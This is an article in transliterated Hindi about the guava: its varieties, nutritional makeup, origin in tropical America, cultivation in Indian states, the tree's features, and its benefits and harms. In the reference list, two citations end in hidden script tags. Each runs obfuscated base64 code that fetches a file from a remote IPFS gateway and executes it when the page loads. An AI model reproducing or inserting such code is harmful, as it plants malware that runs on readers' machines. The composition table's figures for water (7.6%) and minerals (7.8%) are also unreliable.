अमरुद
thumb|250px|amarud
Guava
amarud bharat mean paya jane vala ek phal hai. amarud hare rang ka hota hai. amarud ka vaijnanik nam sidiyam guyayava hai. amarud lal aur pitabh safed rang lie hue hote haian. bij vale aur bina bij vale tatha atyant mithe aur khatthe-mithe prakar ke amarud amataur par dekhane ko milate haian. safed ki apeksha lal rang ke amarud gunakari hote haian. safed gude vale amarud adhik mithe hote haian. phal ka bhar amataur par 30 se 450 gram tak hota hai.[1]
amarud ki do kismean hoti haiah- pahala safed garbhavali aur dusara lal-gulabi garbhavali. safed kism adhik mithi hoti hai. kalami amarud mean achchhi kism ke amarud bhi hote haian. ve bahut b de hote haian. aur usamean mushkil se 4-5 bij nikalate haian. banaras (uttar pradesh) mean is prakar ke amarud hote haian.
amarud ka rasayanik sangathan
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| tattv | matra | tattv | matra |
|---|---|---|---|
| pani | 7.6 pratishat | karbohaidret | 14.6% |
| protin | 1.5% | kailshiyam | 0.01% |
| vasa | 0.2% | phasphoras | 0.4% |
| khanij padarth | 7.8% | resha | 6.9% |
| vitamin-si | 299 mili gram/100 gram |
amarood ka vikas
amarood ka mool sthan ushn katibandhiy amerika hai. visheshataya maiksiko se peroo tak ka kshetr. yahaan se amarood sansar ke any ushn aur uposhn bhagoan mean phaila. shayad bharat mean isaka pravesh spenavashiyoan dvara 16vian shatabdi mean hua.
amarood ka vitaran
bharat mean isaki kheti 1.55 lakh kshetraphal mean ki jati haian tatha varshik utpadan 17.93 lakh tan hi hai jo ki any deshoan se kafi kam hai. isaki vyavasayayik bagavani vishesh roop se uttar pradesh, uttarakhand, bihar, madhy pradesh, maharashtr, pashchim bangal aur gujarat mean hoti hai.[2]
amarood ka vriksh
amarud ka vriksh amataur par bharat ke sabhi rajyoan mean ugaya jata hai. uttar pradesh ka ilahabadi amarud vishv vikhyat hai. yah vishesh roop se svadishth hota hai. isake pe d ki uanchaee 10 se 20 phit hoti hai. tahaniyaan patali-patali aur kamazor hoti hai. tane ka prishth chikana, bhoore rang ka, patali safed chhal se achchhadit rahata hai. chhal ke niche ki lak di chikani hoti hai. patte halke hare rang ke, sparsh mean khuradare, 3 se 4 ianch lambe, ayatakar, sugandhayukt, danthal chhote hote haian.
amarood ka vriksh chhota hota hai . isaka tana amataur par zamin ki satah se hi vibhajit rahata hai. isaki shakhayean phailane vali aur chhal chikani, paratadar evan asani se nikalane vali hoti hai. naye praroh chhote, romayukt tatha ayatakar ya chaukor hote haian. thumb|250px|left|amarud prajanan tantrah phool pattiyoan ke aksh mean, nee vriddhi par ate haian. ye ekal athava do ya tin ke sasimaksh mean hote haian. phool ka rang safed hota hai. phal saras aur bahnay dal puanj bahu se ghire rahate haian. bij halke safed se bhoore-safed rang ke aur bij chol k da hota hai.
amarud ke fayade
- amarud mean vitamin si aur sharkara kafi matra mean hoti hai.
- amarud mean pektin ki matra bhi bahut adhik hoti hai.
- amarud ko isake bijoan ke sath khana atyant upayogi hota hai. jisake karan pet saf rahata hai.
- amarud ko chataniyaan, jeli, murabba aur phal se panir banane ke kam mean liya jata hai.
amarud se hone vale nuqasan
- shit prakriti valoan ko aur jinaka amashay kamazor ho, unake lie amarud hanikarak hota hai.
- varsha rritu mean utpann amarud ke aandar sookshm dhage jaise safed krimi paida hone se khane vale vyakti ko pet dard, aphara, haija jaise vikar ho sakate haian.
- amarud ke bij sakht hone ke karan asani se nahian pachate aur yadi ye ependiks mean chale jaai, to ependisaitis rog paida kar sakate haian. atah inake bijoan ke sevan se bachana chahie.
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tika tippani aur sandarbh
- ↑ amarud (hindi) janakalyan. abhigaman tithi: 22 agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ amarood (hindi) uttara krishi prabha. abhigaman tithi: 22 agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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